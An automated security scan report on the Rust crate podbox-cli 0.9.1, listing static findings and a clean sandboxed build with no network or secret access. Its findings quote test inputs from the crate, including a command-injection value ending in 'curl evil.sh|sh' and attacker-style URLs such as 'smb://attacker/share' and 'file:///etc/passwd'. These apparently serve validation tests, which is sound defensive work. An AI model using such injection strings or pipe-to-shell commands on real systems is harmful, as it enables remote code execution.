podbox-cli 0.9.1

Done dynamic on Linux job 268535 crates.io SBOM Findings (VEX)

medium severity process_spawn in build_script code (85 places): std::process::Command::new

low

Automated verdict. Nobody reviewed it. A score is a reason to look closer, not a finding.

Evidence

Points	Signal	Where	What
10	static:process_spawn static · podbox-cli	build.rs:35	medium severity process_spawn in build_script code (85 places): std::process::Command::new
2	static:credential_access static · podbox-cli	src/env.rs:85	medium severity credential_access in library code (2 places): /home/user/.gnupg/S.gpg-agent
2	static:environment_enumeration static · podbox-cli	src/commands/runtime.rs:117	medium severity environment_enumeration in library code: std::env::vars
2	static:secret_environment_variable static · podbox-cli	src/config/schema/tests/parse.rs:58	medium severity secret_environment_variable in library code (3 places): SSH_AUTH_SOCK
2	static:shell_command static · podbox-cli	src/codegen/containerfile.rs:124	medium severity shell_command in library code (5 places): RUN chmod +x /usr/local/bin/podbox-guest
1	static:build_script static · podbox-cli	build.rs	low severity build_script in build_script code: build.rs

Behavior

Profile

static:credential_access static:environment_enumeration static:process_spawn static:secret_environment_variable static:shell_command

Static findings

All 148 medium 15 low 86 info 47 14 groups

medium shell_command library 5

RUN chmod +x /usr/local/bin/podbox-guest src/codegen/containerfile.rs:124 src/codegen/containerfile.rs:604
RUN chmod +x /usr/local/bin/{} src/codegen/containerfile.rs:365
ghcr.io/a/b:1 --name x; curl evil.sh|sh # src/config/validation.rs:1111
[image]\u{a}base = "fedora:41"\u{a}name = "env"\u{a}image = "ghcr.io/a/b:1 --name x; curl evil.sh|sh #"\u{a}[container]\u{a}name = "env"\u{a}home = "~/env"\u{a} src/config/validation.rs:1136

medium process_spawn build_script 4

std::process::Command::new build.rs:35 build.rs:100 build.rs:111 build.rs:128

medium credential_access library 2

/home/user/.gnupg/S.gpg-agent src/env.rs:85
/home/user/.gnupg src/env.rs:86

medium secret_environment_variable library 2

SSH_AUTH_SOCK src/config/schema/tests/parse.rs:58 src/env.rs:182

medium environment_enumeration library 1

std::env::vars src/commands/runtime.rs:117

medium secret_environment_variable test 1

SSH_AUTH_SOCK tests/codegen_env.rs:27

low process_spawn library 65

low process_spawn test 16

std::process::Command tests/cli_contract.rs:58 tests/cli_contract.rs:240 tests/cli_help.rs:10 tests/golden.rs:54
std::process::Command::cargo_bin tests/cli_contract.rs:59 tests/cli_help.rs:11 tests/dry_run.rs:15 tests/dry_run.rs:30 tests/dry_run.rs:45 tests/dry_run.rs:60 tests/dry_run.rs:77 tests/dry_run.rs:94 tests/dry_run.rs:108 tests/golden.rs:55 tests/name_validation.rs:22 tests/sandbox/mod.rs:91

low network_access library 4

std::net::TcpListener::bind src/ports.rs:70 src/ports.rs:107
std::net::UdpSocket::bind src/ports.rs:71 src/ports.rs:118

low build_script build_script 1

build.rs build.rs

info url_literal library 29

file://x src/config/schema/tests/xdg_open.rs:121
https://example.com src/socket_host.rs:270 src/socket_host.rs:270 src/socket_host.rs:380 src/socket_host.rs:385
http://example.com src/socket_host.rs:271 src/socket_host.rs:271
smb://attacker/share src/socket_host.rs:278
archive://file%3A%2F%2F%2Fhome%2Fuser src/socket_host.rs:279
trash:/// src/socket_host.rs:280
recent:/// src/socket_host.rs:281
computer:/// src/socket_host.rs:282
steam://run/1 src/socket_host.rs:283 src/socket_host.rs:311
vscode://file/etc/passwd src/socket_host.rs:284
sftp://host/ src/socket_host.rs:285
davs://host/ src/socket_host.rs:286
file:///etc/passwd src/socket_host.rs:287
FILE:///etc/passwd src/socket_host.rs:288
smb://host/share src/socket_host.rs:306 src/socket_host.rs:307
SMB://host/share src/socket_host.rs:318
https:// src/socket_host.rs:331 src/socket_host.rs:373
https://example.com/\u{a}rm src/socket_host.rs:356
https://example.com/\u{0} src/socket_host.rs:360
https://example.com/{} src/socket_host.rs:363
https://example.com src/socket_host.rs:385
https://{s} src/socket_host/handlers.rs:203

info url_literal test 13

https://example.com tests/socket_protocol.rs:226 tests/socket_protocol.rs:344 tests/socket_protocol.rs:392 tests/socket_protocol.rs:762
file:///etc/passwd tests/socket_protocol.rs:311
smb://attacker/share tests/socket_protocol.rs:313
archive://file%3A%2F%2F%2Fhome%2Fuser tests/socket_protocol.rs:314
trash:/// tests/socket_protocol.rs:315
steam://run/1 tests/socket_protocol.rs:316
vscode://file/etc/passwd tests/socket_protocol.rs:317
open:https://example.com tests/socket_protocol.rs:350 tests/socket_protocol.rs:777
smb://host/share tests/socket_protocol.rs:376

info unsafe_code library 4

1 unsafe blocks, functions or impls src/commands/runtime/watchdog.rs:72 src/process.rs:289 src/socket_host.rs:209 src/socket_host/handlers.rs:685

info unsafe_code test 1

5 unsafe blocks, functions or impls tests/common/mod.rs:38

Run: check

succeeded

Ended: agent reported the end
Guest: exit code 0
Run time: 1 min 11 s
VM restore: 63 ms
Payload: 11018 files, 379.0 MiB
Files opened: 22465

Processes 376

Siblings that ran the same program with the same result and the same processes below are folded into one row, with their number. Hide the 345 compiler processes (rustc, C toolchain)

Process	Arguments	Start	Took	Exit
cargo /usr/local/bin/cargo	check --locked --offline	5 ms	1 min 11 s	0
└rustc /usr/local/bin/rustc ×38	--crate-name build_script_build --edition=2021 /cw/vendor/proc-macro2-1.0.107/build.rs --error-format=json --json=diagnostic-rendered-ansi,artifacts,future-incompat --crate-type bin --emit=dep-info,link -C embed-bitcode=no --cfg feature="default" --cfg feature="proc-macro" --check-cfg cfg(docsrs,test) --check-cfg cfg(feature, values("default", "nightly", "proc-macro", "span-locations")) -C metadata=a3dc8fb24392fcd4 -C extra-filename=-a411f7480bd0f42c --out-dir /work/target/debug/build/proc-macro2-a411f7480bd0f42c -L dependency=/work/target/debug/deps --cap-lints allow	361 ms	725 ms	0
└toolchain /usr/bin/cc	-m64 /work/target/debug/build/proc-macro2-a411f7480bd0f42c/rustc14iyOb/symbols.o /work/target/debug/build/proc-macro2-a411f7480bd0f42c/build_script_build-a411f7480bd0f42c.build_script_build.dd8d7f624ad1d48e-cgu.0.rcgu.o /work/target/debug/build/proc-macro2-a411f7480bd0f42c/build_script_build-a411f7480bd0f42c.cnca5igddme2fkrf01fktrtaw.rcgu.o -Wl,--as-needed -Wl,-Bstatic /usr/local/lib/rustlib/x86_64-unknown-linux-gnu/lib/libstd-64f5f36fb0927694.rlib /usr/local/lib/rustlib/x86_64-unknown-linux-gnu/lib/libpanic_unwind-549498e8b2e4d924.rlib /usr/local/lib/rustlib/x86_64-unknown-linux-gnu/lib/libobject-7ff85ea729a864ff.rlib /usr/local/lib/rustlib/x86_64-unknown-linux-gnu/lib/libmemchr-0e3477fb2664a277.rlib /usr/local/lib/rustlib/x86_64-unknown-linux-gnu/lib/libaddr2line-09755979c57b7e64.rlib /usr/local/lib/rustlib/x86_64-unknown-linux-gnu/lib/libgimli-9a1fede77fbbf2f0.rlib /usr/local/lib/rustlib/x86_64-unknown-linux-gnu/lib/libcfg_if-360da4ba13154744.rlib /usr/local/lib/rustlib/x86_64-unknown-linux-gnu/lib/lib	906 ms	177 ms	0
└toolchain /usr/libexec/gcc/x86_64-linux-gnu/14/collect2	-plugin /usr/libexec/gcc/x86_64-linux-gnu/14/liblto_plugin.so -plugin-opt=/usr/libexec/gcc/x86_64-linux-gnu/14/lto-wrapper -plugin-opt=-fresolution=/tmp/ccjoKB9G.res --build-id --eh-frame-hdr -m elf_x86_64 --hash-style=gnu --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -fuse-ld=lld -o /work/target/debug/build/proc-macro2-a411f7480bd0f42c/build_script_build-a411f7480bd0f42c /usr/lib/gcc/x86_64-linux-gnu/14/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/14/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/14/crtbeginS.o -L/work/target/debug/build/proc-macro2-a411f7480bd0f42c/rustc14iyOb/raw-dylibs -L/usr/local/lib/rustlib/x86_64-unknown-linux-gnu/lib -L/usr/local/lib/rustlib/x86_64-unknown-linux-gnu/bin/gcc-ld -L/usr/lib/gcc/x86_64-linux-gnu/14 -L/usr/lib/gcc/x86_64-linux-gnu/14/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/14/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L	916 ms	167 ms	0
└toolchain /usr/local/lib/rustlib/x86_64-unknown-linux-gnu/bin/rust-lld	-flavor gnu -plugin /usr/libexec/gcc/x86_64-linux-gnu/14/liblto_plugin.so -plugin-opt=/usr/libexec/gcc/x86_64-linux-gnu/14/lto-wrapper -plugin-opt=-fresolution=/tmp/ccjoKB9G.res --build-id --eh-frame-hdr -m elf_x86_64 --hash-style=gnu --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -o /work/target/debug/build/proc-macro2-a411f7480bd0f42c/build_script_build-a411f7480bd0f42c /usr/lib/gcc/x86_64-linux-gnu/14/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/14/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/14/crtbeginS.o -L/work/target/debug/build/proc-macro2-a411f7480bd0f42c/rustc14iyOb/raw-dylibs -L/usr/local/lib/rustlib/x86_64-unknown-linux-gnu/lib -L/usr/local/lib/rustlib/x86_64-unknown-linux-gnu/bin/gcc-ld -L/usr/lib/gcc/x86_64-linux-gnu/14 -L/usr/lib/gcc/x86_64-linux-gnu/14/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/14/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_6	918 ms	163 ms	0
└build_script proc-macro2		1.0 s	88 ms	0
└rustc /usr/local/bin/rustc ×3	--version	1.0 s	8 ms	0
└rustc /usr/local/bin/rustc	--cfg=procmacro2_build_probe --edition=2021 --crate-name=proc_macro2 --crate-type=lib --cap-lints=allow --emit=dep-info,metadata --out-dir /work/target/debug/build/proc-macro2-ea7d4b35dfd106d0/out/probe src/probe/proc_macro_span.rs --target x86_64-unknown-linux-gnu	1.1 s	38 ms	256
└build_script quote		1.2 s	9 ms	0
└rustc /usr/local/bin/rustc	--version	1.2 s	7 ms	0
└rustc /usr/local/bin/rustc ×165	--crate-name unicode_ident --edition=2021 /cw/vendor/unicode-ident-1.0.27/src/lib.rs --error-format=json --json=diagnostic-rendered-ansi,artifacts,future-incompat --crate-type lib --emit=dep-info,metadata,link -C embed-bitcode=no --check-cfg cfg(docsrs,test) --check-cfg cfg(feature, values()) -C metadata=3bb98f7b2f589c61 -C extra-filename=-86dff03eb05ec8a5 --out-dir /work/target/debug/deps -L dependency=/work/target/debug/deps --cap-lints allow	1.3 s	50 ms	0
└build_script serde_core		6.1 s	9 ms	0
└rustc /usr/local/bin/rustc	--version	6.1 s	7 ms	0
└build_script serde		6.2 s	10 ms	0
└rustc /usr/local/bin/rustc	--version	6.2 s	7 ms	0
└build_script libc		8.6 s	10 ms	0
└rustc /usr/local/bin/rustc	--version	8.6 s	7 ms	0
└build_script rustix		22.0 s	34 ms	0
└rustc /usr/local/bin/rustc ×2	--crate-type=rlib --emit=metadata --target x86_64-unknown-linux-gnu -o /work/target/debug/build/rustix-7af23fadceaa60c2/out/rustix_test_can_compile -	22.0 s	15 ms	0
└build_script crossbeam-utils		22.1 s	2 ms	0
└build_script icu_properties_data		32.2 s	1 ms	0
└build_script icu_normalizer_data		32.2 s	1 ms	0
└build_script async-io		32.4 s	23 ms	0
└rustc /usr/local/bin/rustc ×2	--version --verbose	32.4 s	7 ms	0
└build_script generic-array		34.1 s	10 ms	0
└rustc /usr/local/bin/rustc	--verbose --version	34.1 s	7 ms	0
└rustc /usr/local/bin/rustc ×5	--crate-name zvariant --edition=2024 /cw/vendor/zvariant-5.15.1/src/lib.rs --error-format=json --json=diagnostic-rendered-ansi,artifacts,future-incompat --crate-type lib --emit=dep-info,metadata,link -C embed-bitcode=no --warn=unexpected_cfgs --check-cfg cfg(tokio_unstable) --cfg feature="default" --cfg feature="enumflags2" --check-cfg cfg(docsrs,test) --check-cfg cfg(feature, values("arrayvec", "camino", "chrono", "default", "enumflags2", "gvariant", "heapless", "option-as-array", "ostree-tests", "serde_bytes", "time", "url", "uuid")) -C metadata=5929a1cf9f000fe0 -C extra-filename=-8fc926f564540c70 --out-dir /work/target/debug/deps -L dependency=/work/target/debug/deps --extern	37.2 s	1.5 s	0
└cargo /usr/local/bin/cargo	locate-project --workspace --message-format=plain --manifest-path=/cw/vendor/zvariant-5.15.1/Cargo.toml	37.3 s	12 ms	0
└build_script getrandom		40.7 s	1 ms	0
└build_script zmij		40.7 s	8 ms	0
└rustc /usr/local/bin/rustc	--version	40.7 s	7 ms	0
└build_script memoffset		43.1 s	22 ms	0
└rustc /usr/local/bin/rustc ×2	--version --verbose	43.1 s	7 ms	0
└build_script serde_json		45.7 s	1 ms	0
└build_script thiserror		47.0 s	25 ms	0
└rustc /usr/local/bin/rustc	--edition=2018 --crate-name=thiserror --crate-type=lib --cap-lints=allow --emit=dep-info,metadata --out-dir /work/target/debug/build/thiserror-bf0fafdea055103f/out/probe build/probe.rs --target x86_64-unknown-linux-gnu	47.0 s	21 ms	256
└build_script signal-hook		47.4 s	1 ms	0
└build_script rustix		47.4 s	20 ms	0
└rustc /usr/local/bin/rustc	--crate-type=rlib --emit=metadata --target x86_64-unknown-linux-gnu -o - -	47.4 s	16 ms	256
└build_script nix		49.3 s	2 ms	0
└build_script thiserror		55.6 s	26 ms	0
└rustc /usr/local/bin/rustc	--edition=2018 --crate-name=thiserror --crate-type=lib --cap-lints=allow --emit=dep-info,metadata --out-dir /work/target/debug/build/thiserror-2a2ace9117c7add0/out/probe build/probe.rs --target x86_64-unknown-linux-gnu	55.6 s	15 ms	256
└rustc /usr/local/bin/rustc	--version	55.6 s	7 ms	0
└rustc /usr/local/bin/rustc	--crate-name zbus --edition=2024 /cw/vendor/zbus-5.19.0/src/lib.rs --error-format=json --json=diagnostic-rendered-ansi,artifacts,future-incompat --crate-type lib --emit=dep-info,metadata -C embed-bitcode=no -C debuginfo=2 --warn=unexpected_cfgs --check-cfg cfg(tokio_unstable) --cfg feature="async-executor" --cfg feature="async-fs" --cfg feature="async-io" --cfg feature="async-lock" --cfg feature="async-process" --cfg feature="async-task" --cfg feature="blocking" --check-cfg	55.6 s	3.1 s	0
└cargo /usr/local/bin/cargo ×2	locate-project --workspace --message-format=plain --manifest-path=/cw/vendor/zbus-5.19.0/Cargo.toml	55.7 s	12 ms	0
└build_script anyhow		1 min 0 s	31 ms	0
└rustc /usr/local/bin/rustc	--cfg=anyhow_build_probe --edition=2018 --crate-name=anyhow --crate-type=lib --cap-lints=allow --emit=dep-info,metadata --out-dir /work/target/debug/build/anyhow-16c5e2ddec703063/out/probe src/nightly.rs --target x86_64-unknown-linux-gnu	1 min 0 s	21 ms	256
└rustc /usr/local/bin/rustc	--version	1 min 1 s	7 ms	0
└build_script podbox-cli		1 min 6 s	2 ms	0
└unknown		1 min 6 s	0 ms	32512

Network 0

No network activity.

Files 0

Secrets opened

None.

Written outside the build directories

None.

Scratch disk 0

Files: 1453
Directories: 316
Size: 495.5 MiB
Compiled units: 213

Nothing outside the build areas.

Output

Standard error

   Compiling proc-macro2 v1.0.107
   Compiling quote v1.0.47
   Compiling unicode-ident v1.0.27
   Compiling syn v3.0.9
   Compiling serde_core v1.0.229
   Compiling serde v1.0.229
   Compiling serde_derive v1.0.229
   Compiling libc v0.2.191
   Compiling syn v2.0.119
    Checking pin-project-lite v0.2.17
   Compiling synstructure v0.14.0
    Checking cfg-if v1.0.5
   Compiling zerofrom-derive v0.1.8
    Checking zerofrom v0.1.8
   Compiling yoke-derive v0.8.4
    Checking parking v2.2.1
    Checking stable_deref_trait v1.2.1
    Checking bitflags v2.13.2
    Checking yoke v0.8.4
   Compiling autocfg v1.5.1
   Compiling winnow v1.0.4
   Compiling zerovec-derive v0.11.7
    Checking fastrand v2.5.0
   Compiling crossbeam-utils v0.8.23
   Compiling hashbrown v0.17.1
   Compiling rustix v1.1.5
   Compiling equivalent v1.0.3
   Compiling indexmap v2.14.2
    Checking zerovec v0.11.9
   Compiling toml_parser v1.1.5+spec-1.1.0
   Compiling displaydoc v0.2.7
    Checking once_cell v1.21.4
   Compiling toml_datetime v1.1.2+spec-1.1.0
    Checking linux-raw-sys v0.12.1
   Compiling toml_edit v0.25.17+spec-1.1.0
   Compiling enumflags2_derive v0.7.12
    Checking concurrent-queue v2.5.0
   Compiling proc-macro-crate v3.5.0
   Compiling zvariant_utils v4.2.0
    Checking event-listener v5.4.2
    Checking event-listener-strategy v0.5.4
   Compiling zvariant_derive v5.15.1
    Checking futures-lite v2.6.1
    Checking tinystr v0.8.5
    Checking errno v0.3.14
    Checking litemap v0.8.3
    Checking writeable v0.6.4
   Compiling version_check v0.9.5
   Compiling generic-array v0.14.7
    Checking icu_locale_core v2.4.0
    Checking signal-hook-registry v1.4.8
    Checking tracing-core v0.1.36
    Checking zerotrie v0.2.5
    Checking potential_utf v0.1.6
   Compiling async-io v2.6.0
    Checking utf8_iter v1.0.4
    Checking slab v0.4.12
   Compiling icu_normalizer_data v2.4.0
   Compiling icu_properties_data v2.4.0
    Checking smallvec v1.16.4
    Checking icu_collections v2.4.0
    Checking icu_provider v2.4.0
   Compiling enumflags2 v0.7.12
    Checking polling v3.11.0
   Compiling zcheapstr v1.1.0
   Compiling tracing-attributes v0.1.31
   Compiling endi v1.1.1
   Compiling heck v0.5.0
    Checking async-task v4.7.1
    Checking utf8parse v0.2.2
    Checking typenum v1.20.1
    Checking anstyle-parse v1.0.0
   Compiling zvariant v5.15.1
    Checking tracing v0.1.44
    Checking async-channel v2.5.0
   Compiling memoffset v0.9.1
    Checking thread_local v1.1.10
    Checking regex-syntax v0.8.11
    Checking log v0.4.34
   Compiling cfg_aliases v0.2.2
   Compiling zmij v1.0.23
    Checking is_terminal_polyfill v1.70.2
    Checking anstyle-query v1.1.5
   Compiling getrandom v0.4.3
    Checking anstyle v1.0.14
    Checking atomic-waker v1.1.2
    Checking colorchoice v1.0.5
    Checking anstream v1.0.0
    Checking piper v0.2.5
   Compiling nix v0.31.3
    Checking regex-automata v0.4.18
    Checking icu_properties v2.4.0
    Checking icu_normalizer v2.4.0
    Checking async-signal v0.2.14
   Compiling zbus_names v4.3.5
    Checking async-lock v3.4.2
   Compiling rustix v0.38.44
   Compiling signal-hook v0.4.5
    Checking clap_lex v1.1.1
   Compiling thiserror v1.0.69
    Checking strsim v0.11.1
    Checking lazy_static v1.5.1
    Checking is_ci v1.2.0
   Compiling serde_json v1.0.154
    Checking sharded-slab v0.1.7
    Checking clap_builder v4.6.7
    Checking async-process v2.5.0
   Compiling zbus_macros v5.19.0
    Checking idna_adapter v1.2.2
    Checking matchers v0.2.0
    Checking blocking v1.7.0
    Checking tracing-log v0.2.0
    Checking crypto-common v0.1.7
    Checking block-buffer v0.10.4
    Checking async-executor v1.14.0
   Compiling clap_derive v4.6.7
    Checking async-broadcast v0.7.2
    Checking ordered-stream v0.2.0
    Checking serde_spanned v0.6.9
    Checking toml_datetime v0.6.11
    Checking uuid v1.29.0
   Compiling thiserror-impl v1.0.69
    Checking is-terminal v0.4.17
   Compiling serde_repr v0.1.21
   Compiling async-recursion v1.2.0
   Compiling async-trait v0.1.92
    Checking option-ext v0.2.0
    Checking unicode-width v0.2.2
    Checking winnow v0.7.15
    Checking toml_write v0.1.2
   Compiling anyhow v1.0.104
    Checking linux-raw-sys v0.4.15
    Checking itoa v1.0.18
    Checking nu-ansi-term v0.50.3
    Checking percent-encoding v2.3.2
    Checking hex v0.4.3
   Compiling thiserror v2.0.21
    Checking zbus v5.19.0
    Checking form_urlencoded v1.2.2
    Checking tracing-subscriber v0.3.23
    Checking toml_edit v0.22.27
    Checking console v0.15.11
    Checking dirs-sys v0.4.1
    Checking supports-color v2.1.0
    Checking clap v4.6.7
    Checking digest v0.10.7
    Checking tempfile v3.27.0
    Checking idna v1.1.0
    Checking supports-color v3.0.2
    Checking fuzzy-matcher v0.3.7
   Compiling strum_macros v0.27.2
   Compiling thiserror-impl v2.0.21
    Checking either v1.19.0
    Checking home v0.5.12
   Compiling podbox-cli v0.9.1
    Checking shell-words v1.1.1
    Checking cpufeatures v0.2.17
    Checking zeroize v1.9.1
    Checking dialoguer v0.11.0
    Checking sha2 v0.10.9
    Checking which v6.0.3
    Checking strum v0.27.2
    Checking owo-colors v4.4.0
    Checking podbox-protocol v0.9.1
    Checking url v2.5.8
    Checking clap_complete v4.6.11
    Checking dirs v5.0.1
    Checking toml v0.8.23
    Checking tracing-journald v0.3.2
    Checking notify-rust v4.18.2
    Checking crateward-probe v0.0.0 (/cw/probe)
    Finished `dev` profile [unoptimized + debuginfo] target(s) in 1m 11s

Timeline

When	From	To	Event	Worker
2026-10-25 14:22 UTC	Discovered	Fetched	fetched	fetcher-12688
2026-10-25 14:22 UTC	Fetched	ReadyForSandbox	static_analysis_completed	static-12726
2026-10-25 14:22 UTC	ReadyForSandbox	Running	sandbox_started	orchestrator-12760-slot0
2026-10-25 14:24 UTC	Running	DynamicallyAnalyzed	sandbox_completed	orchestrator-12760-slot0
2026-10-25 14:24 UTC	DynamicallyAnalyzed	Scored	scored	analyzer-12816
2026-10-25 14:24 UTC	Scored	Done	finalized	analyzer-12816